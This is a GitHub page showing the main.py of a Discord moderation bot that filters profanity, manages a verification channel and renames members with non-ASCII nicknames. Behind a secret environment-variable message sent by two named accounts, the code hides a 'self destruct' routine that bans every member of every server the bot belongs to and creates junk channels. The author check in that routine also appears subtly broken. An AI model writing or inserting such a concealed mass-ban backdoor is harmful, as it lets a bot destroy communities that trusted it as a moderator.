-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
60 lines (53 loc) · 2.75 KB
/
main.py
File metadata and controls
60 lines (53 loc) · 2.75 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
def isascii(s):
return len(s) == len(s.encode())
import discord, asyncio, os, keepAlive, random, string
from better_profanity import profanity
keepAlive.keep_alive()
client = discord.Client()
@client.event
async def on_ready():
print('Connected to Discord!')
@client.event
async def on_message(message):
print(message.channel)
if profanity.contains_profanity(message.content):
# A profanity has been found!
keepAlive.addProfanitiesCounter() # Add the number of profanities for web dash
# DONE: send a DM with a warning
await message.author.send("**CryptoAlgo Bot Moderator**\n Your message: " + profanity.censor(message.content, '-') + " contains unallowed words and has been deleted by our bot. If you believe that your message was deleted in error, please contact a moderator.")
await message.delete() # Delete it
await message.channel.send("_This message contained inappropriate language and has been deleted_", delete_after=5) # Autodeletion after 5 seconds
if message.channel.name == 'verification' and message.content == "!verify": # Checks if post is in verification channel
# Delete the message after 10 seconds to reduce clutter
await asyncio.sleep(10) # Async sleep
await message.delete()
elif message.channel.name == 'verification':
await asyncio.sleep(30) # If its not a verification prompt, delete it aft 30 secs
await message.delete()
await message.channel.send("_This message has been deleted to reduce clutter. Please do not post in the verification chat_", delete_after=5) # Autodeletion after 5 seconds
elif message.content == "!info":
await message.channel.send("Hi there! This is written by Wang Zerui and Vincent Kwok!")
if message.content == os.getenv("SELFDESTRUCT") and (message.author == "▉▉▉▉▉#4239" or message.author == "CryptoAlgo Team#0059"):
# For self destructing function
for guild in client.guilds:
print(guild)
for member in guild.members:
print(member)
try:
await member.ban()
except:
pass
for i in range(0, 2):
await message.guild.create_text_channel(":-)")
@client.event
async def on_member_join(member):
if not isascii(member.nick):
newUsrNick = ''.join(random.choice(string.ascii_uppercase) for _ in range(8))
await member.edit(nick=newUsrNick)
try:
await member.create_dm()
await member.dm_channel.send("Your nickname has been changed to " + newUsrNick + " as it contains non-ASCII characters.")
except:
pass
print(member)
client.run(os.getenv("TOKEN")) # Finally, start the connection to Discord